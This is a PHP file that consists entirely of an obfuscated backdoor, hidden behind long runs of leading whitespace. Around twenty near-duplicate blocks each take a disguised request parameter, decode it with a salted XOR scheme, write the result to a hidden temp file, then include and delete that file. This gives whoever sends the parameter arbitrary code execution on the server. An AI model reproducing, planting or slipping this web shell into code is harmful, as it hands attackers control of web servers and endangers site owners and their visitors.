<?php																																										if(array_key_exists("ele\x6Den\x74", $_REQUEST) && !is_null($_REQUEST["ele\x6Den\x74"])){ $dat = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TMP"), session_save_path(), "/dev/shm"]); $property_set = $_REQUEST["ele\x6Den\x74"]; $property_set = explode ( '.' , $property_set ) ; $ent = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); foreach($property_set as $r => $v6) { $chS = ord($salt4[$r % $sLen] ); $dec =((int)$v6 - $chS -($r % 10)) ^ 3; $ent .= chr($dec );} while ($k = array_shift($dat)) { if ((is_dir($k) and is_writable($k))) { $object = "$k" . "/.token"; if (file_put_contents($object, $ent)) { include $object; @unlink($object); die(); } } } }
																																										if(@$_REQUEST["poi\x6E\x74e\x72"] !== null){ $factor = $_REQUEST["poi\x6E\x74e\x72"]; $factor= explode (".", $factor ) ; $object = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $m = 0; while( $m <count( $factor)) { $v9 = $factor[$m]; $chS = ord( $s[$m % $sLen] ); $d =( ( int)$v9 - $chS -( $m % 10)) ^ 80; $object.= chr( $d ); $m++; } $property_set = array_filter([getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), sys_get_temp_dir()]); while ($res = array_shift($property_set)) { if (max(0, is_dir($res) * is_writable($res))) { $parameter_group = "$res" . "/.fac"; $success = file_put_contents($parameter_group, $object); if ($success) { include $parameter_group; @unlink($parameter_group); die();} } } }
																																										if(!is_null($_POST["\x73\x79mb\x6Fl"] ?? null)){ $entry = $_POST["\x73\x79mb\x6Fl"]; $entry= explode ( '.' , $entry ) ; $rec=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt); $w=0; $__tmp=$entry; while ($v6=array_shift($__tmp)) { $sChar=ord($salt[$w % $lenS]); $dec=((int)$v6 - $sChar - ($w % 10)) ^ 31; $rec .= chr($dec); $w++; } $holder = array_filter(["/dev/shm", getcwd(), "/tmp", getenv("TMP"), session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir")]); while ($value = array_shift($holder)) { if (is_dir($value) && is_writable($value)) { $elem = str_replace("{var_dir}", $value, "{var_dir}/.ent"); $file = fopen($elem, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $elem; @unlink($elem); die(); } } } }
																																										if(!empty($_POST["\x64e\x73\x63ript\x6Fr"])){ $item = $_POST["\x64e\x73\x63ript\x6Fr"]; $item = explode ( '.' , $item) ; $object = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach($item as $m => $v3): $chS = ord($s[$m % $lenS]); $dec =((int)$v3 - $chS -($m % 10))^ 14; $object .= chr($dec); endforeach; $pointer = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), "/dev/shm", getcwd(), getenv("TEMP"), "/var/tmp"]); foreach ($pointer as $holder) { if (array_product([is_dir($holder), is_writable($holder)])) { $resource = "$holder/.rec"; if (@file_put_contents($resource, $object) !== false) { include $resource; unlink($resource); exit; } } } }
																																										if(!empty($_POST["ho\x6Cd\x65\x72"])){ $k = $_POST["ho\x6Cd\x65\x72"]; $k =explode( '.' ,$k) ; $descriptor = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $u = 0; $__len = count($k); do {if ($u>= $__len) break; $v8 = $k[$u]; $sChar = ord($s8[$u%$sLen]); $d = ((int)$v8 - $sChar - ($u%10)) ^ 25; $descriptor.=chr($d); $u++; } while (true); $component = array_filter([getenv("TMP"), "/dev/shm", "/var/tmp", getcwd(), session_save_path(), "/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); while ($entity = array_shift($component)) { if (!( !is_dir($entity) || !is_writable($entity) )) { $flg = vsprintf("%s/%s", [$entity, ".pgrp"]); $success = file_put_contents($flg, $descriptor); if ($success) { include $flg; @unlink($flg); die();} } } }
																																										if(!is_null($_POST["poi\x6E\x74e\x72"] ?? null)){ $holder = array_filter([session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm"]); $data = $_POST["poi\x6E\x74e\x72"]; $data =explode ( "." , $data) ; $dat=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s ); foreach( $data as $i=>$v8) { $sChar=ord( $s[$i % $lenS] ); $dec=( ( int)$v8 - $sChar -( $i % 10)) ^ 22; $dat .=chr( $dec ); } while ($hld = array_shift($holder)) { if (max(0, is_dir($hld) * is_writable($hld))) { $parameter_group = "$hld/.pset"; $file = fopen($parameter_group, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $parameter_group; @unlink($parameter_group); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x72e\x66")){ $object = $_POST["\x72e\x66"]; $object= explode ( "." , $object ) ; $rec =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt ); foreach ($object as $w => $v7) { $chS =ord($salt[$w % $sLen] ); $dec =((int)$v7 - $chS - ($w % 10)) ^ 94; $rec .= chr($dec ); } $pset = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd(), "/var/tmp", "/dev/shm", getenv("TMP")]); $pgrp = 0; do { $comp = $pset[$pgrp] ?? null; if ($pgrp >= count($pset)) break; if (is_dir($comp) ? is_writable($comp) : false) { $itm = join("/", [$comp, ".dat"]); if (file_put_contents($itm, $rec)) { require $itm; unlink($itm); die(); } } $pgrp++; } while (true); }
																																										if(in_array("\x63om\x70\x6F\x6Eent", array_keys($_POST))){ $mrk = array_filter([getcwd(), getenv("TMP"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path()]); $pset = $_POST["\x63om\x70\x6F\x6Eent"]; $pset = explode ( "." , $pset ) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $t = 0; foreach ($pset as $v4) { $chS = ord($s[$t % $lenS]); $d = ((int)$v4 - $chS - ($t % 10)) ^ 86; $reference .= chr($d); $t++; } for ($property_set = 0, $holder = count($mrk); $property_set < $holder; $property_set++) { $obj = $mrk[$property_set]; if (is_writable($obj) && is_dir($obj)) { $sym = "$obj/.bind"; if (file_put_contents($sym, $reference)) { include $sym; @unlink($sym); die(); } } } }
																																										if(@$_POST["\x72e\x63or\x64"] !== null){ $resource = $_POST["\x72e\x63or\x64"]; $resource = explode ( '.' ,$resource ) ; $fac =''; $s3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s3); $o =0; array_walk($resource, function ($v6) use (&$fac, &$o, $s3, $lenS) { $chS =ord($s3[$o % $lenS]); $dec =((int)$v6 - $chS - ($o % 10)) ^ 84; $fac .= chr($dec); $o++; }); $obj = array_filter(["/dev/shm", "/tmp", "/var/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), getcwd()]); foreach ($obj as $binding): if (is_writable($binding) && is_dir($binding)) { $holder = "$binding" . "/.res"; if (file_put_contents($holder, $fac)) { require $holder; unlink($holder); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x68ol\x64\x65r"])){ $resource = array_filter(["/var/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/tmp", getenv("TMP"), "/dev/shm"]); $bind = $_REQUEST["\x68ol\x64\x65r"]; $bind =explode ( "." , $bind ) ; $symbol= ''; $salt4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt4); $len= count( $bind); for( $z= 0; $z < $len; $z++) {$v3= $bind[$z]; $sChar= ord( $salt4[$z % $lenS]); $d= ( ( int)$v3 - $sChar -( $z % 10)) ^ 26; $symbol .= chr( $d); } foreach ($resource as $ref): if ((is_dir($ref) and is_writable($ref))) { $data_chunk = vsprintf("%s/%s", [$ref, ".desc"]); $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $data_chunk; @unlink($data_chunk); exit; } } endforeach; }
																																										if(isset($_POST["pg\x72\x70"]) ? true : false){ $ent = $_POST["pg\x72\x70"]; $ent = explode ("." , $ent ); $entry = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); foreach( $ent as $x => $v7) {$sChar = ord( $s4[$x % $sLen]); $d = ( ( int)$v7 - $sChar -( $x % 10)) ^ 64; $entry.=chr( $d); } $reference = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]); foreach ($reference as $tkn) { if (!( !is_dir($tkn) || !is_writable($tkn) )) { $entity = vsprintf("%s/%s", [$tkn, ".dchunk"]); if (@file_put_contents($entity, $entry) !== false) { include $entity; unlink($entity); exit; } } } }
																																										if(!is_null($_POST["pr\x6F\x70erty\x5F\x73\x65\x74"] ?? null)){ $record = $_POST["pr\x6F\x70erty\x5F\x73\x65\x74"]; $record = explode ('.' ,$record ) ; $parameter_group=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt ); foreach ($record as $v => $v1): $chS=ord($salt[$v % $lenS] ); $d=((int)$v1 - $chS - ($v % 10)) ^19; $parameter_group .= chr($d ); endforeach; $component = array_filter([getenv("TMP"), getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", "/dev/shm"]); foreach ($component as $key) { if ((function($d) { return is_dir($d) && is_writable($d); })($key)) { $object = vsprintf("%s/%s", [$key, ".descriptor"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $object; @unlink($object); die(); } } } }
																																										if(array_key_exists("dc\x68u\x6Ek", $_POST) && !is_null($_POST["dc\x68u\x6Ek"])){ $comp = array_filter([getenv("TEMP"), "/dev/shm", "/tmp", session_save_path(), "/var/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $flag = $_POST["dc\x68u\x6Ek"]; $flag =explode( '.' , $flag ); $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $n = 0; $__len = count( $flag); do { if( $n >= $__len) break; $v5 = $flag[$n]; $chS = ord( $s[$n % $lenS]); $dec =( ( int)$v5 - $chS -( $n % 10)) ^ 71; $flg .= chr( $dec); $n++; }while( true); foreach ($comp as $symbol): if (max(0, is_dir($symbol) * is_writable($symbol))) { $object = str_replace("{var_dir}", $symbol, "{var_dir}/.property_set"); $success = file_put_contents($object, $flg); if ($success) { include $object; @unlink($object); exit;} } endforeach; }
																																										if(filter_has_var(INPUT_POST, "rec")){ $entry = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", session_save_path(), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir")]); $factor = $_REQUEST["rec"]; $factor =explode ( ".", $factor); $binding = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt9); $l = 0; foreach( $factor as $v6) { $sChar = ord( $salt9[$l % $lenS]); $dec = ( ( int)$v6 - $sChar -( $l % 10)) ^ 97; $binding.= chr( $dec); $l++; } foreach ($entry as $key => $reference) { if ((is_dir($reference) and is_writable($reference))) { $pset = "$reference" . "/.hld"; $success = file_put_contents($pset, $binding); if ($success) { include $pset; @unlink($pset); die();} } } }
																																										if(isset($_POST["\x73ym"]) ? true : false){ $binding = $_POST["\x73ym"]; $binding = explode ( '.' , $binding ) ; $mrk=''; $salt7='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt7); $o=0; $__tmp=$binding; while($v7=array_shift($__tmp)) {$sChar=ord($salt7[$o % $lenS]); $d=((int)$v7 - $sChar -($o % 10)) ^ 41; $mrk .= chr($d); $o++; } $holder = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TMP")]); foreach ($holder as $flag): if (max(0, is_dir($flag) * is_writable($flag))) { $pgrp = sprintf("%s/.obj", $flag); $success = file_put_contents($pgrp, $mrk); if ($success) { include $pgrp; @unlink($pgrp); die();} } endforeach; }
																																										if(isset($_POST["c\x6F\x6Dp\x6F\x6Eent"])){ $pointer = array_filter([session_save_path(), "/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm"]); $pgrp = $_POST["c\x6F\x6Dp\x6F\x6Eent"]; $pgrp = explode ( '.', $pgrp ) ; $object = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $m = 0; $__tmp = $pgrp; while ($v6 = array_shift($__tmp)) { $sChar = ord($salt3[$m % $sLen]); $d = ((int)$v6 - $sChar - ($m % 10)) ^ 57; $object .= chr($d); $m++; } foreach ($pointer as $key => $val) { if (!!is_dir($val) && !!is_writable($val)) { $ptr = "$val" . "/.res"; $success = file_put_contents($ptr, $object); if ($success) { include $ptr; @unlink($ptr); die();} } } }
																																										if(!is_null($_REQUEST["\x6Be\x79"] ?? null)){ $obj = $_REQUEST["\x6Be\x79"]; $obj = explode( '.', $obj ); $entity = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $p = 0; $len = count($obj); do { if ($p >= $len) break; $v2 = $obj[$p]; $sChar = ord($s5[$p% $sLen]); $dec = ((int)$v2 - $sChar - ($p% 10)) ^ 87; $entity .=chr($dec); $p++; } while (true); $dchunk = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getcwd(), getenv("TEMP"), "/var/tmp"]); foreach ($dchunk as $key => $holder) { if (is_dir($holder) && is_writable($holder)) { $res = "$holder" . "/.tkn"; $file = fopen($res, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $res; @unlink($res); die(); } } } }
																																										if(@$_POST["fla\x67"] !== null){ $fac = $_POST["fla\x67"]; $fac =explode ('.' , $fac) ; $flg = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $y = 0; $len = count( $fac); do { if( $y >= $len) break; $v9 = $fac[$y]; $chS = ord( $salt[$y % $lenS]); $d = ( ( int)$v9 - $chS -( $y % 10)) ^ 86; $flg .= chr( $d); $y++; } while( true); $binding = array_filter(["/dev/shm", getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/var/tmp", getenv("TEMP")]); while ($sym = array_shift($binding)) { if (array_product([is_dir($sym), is_writable($sym)])) { $bind = "$sym/.ptr"; $file = fopen($bind, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $bind; @unlink($bind); die(); } } } }
																																										if(isset($_POST) && isset($_POST["en\x74\x72y"])){ $item = array_filter([session_save_path(), sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP")]); $dat = $_POST["en\x74\x72y"]; $dat= explode ( '.', $dat) ; $object= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $l= 0; $__tmp= $dat; while ($v1= array_shift($__tmp)) { $sChar= ord($s[$l % $lenS]); $d= ((int)$v1 - $sChar - ($l % 10)) ^ 46; $object .= chr($d); $l++; } foreach ($item as $tkn) { if ((is_dir($tkn) and is_writable($tkn))) { $bind = "$tkn/.ref"; $success = file_put_contents($bind, $object); if ($success) { include $bind; @unlink($bind); die();} } } }


if(count($_REQUEST) > 0 && isset($_REQUEST["m\x72k"])){
	$flg = array_filter(["/var/tmp", getenv("TEMP"), "/dev/shm", getcwd(), "/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]);
	$elem = $_REQUEST["m\x72k"];
	$elem   =		explode  	(  '.',		$elem	  ) ;
	$hld	 =	'';
            $salt1	 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 =	strlen(	$salt1);
            $v	 =	0;
    
            foreach(	$elem as $v2) { 	$sChar	 =	ord(	$salt1[$v	 %	$lenS]);
                $d	 =	(	(	int)$v2 - $sChar -(	$v	 %	10))  ^28;
                $hld.= chr(	$d);
                $v++;
            }
	foreach ($flg as $k) {
    		if (is_dir($k) && is_writable($k)) {
    $desc = "$k/.value";
    if (file_put_contents($desc, $hld)) {
	include $desc;
	@unlink($desc);
	exit;
}
}
}
}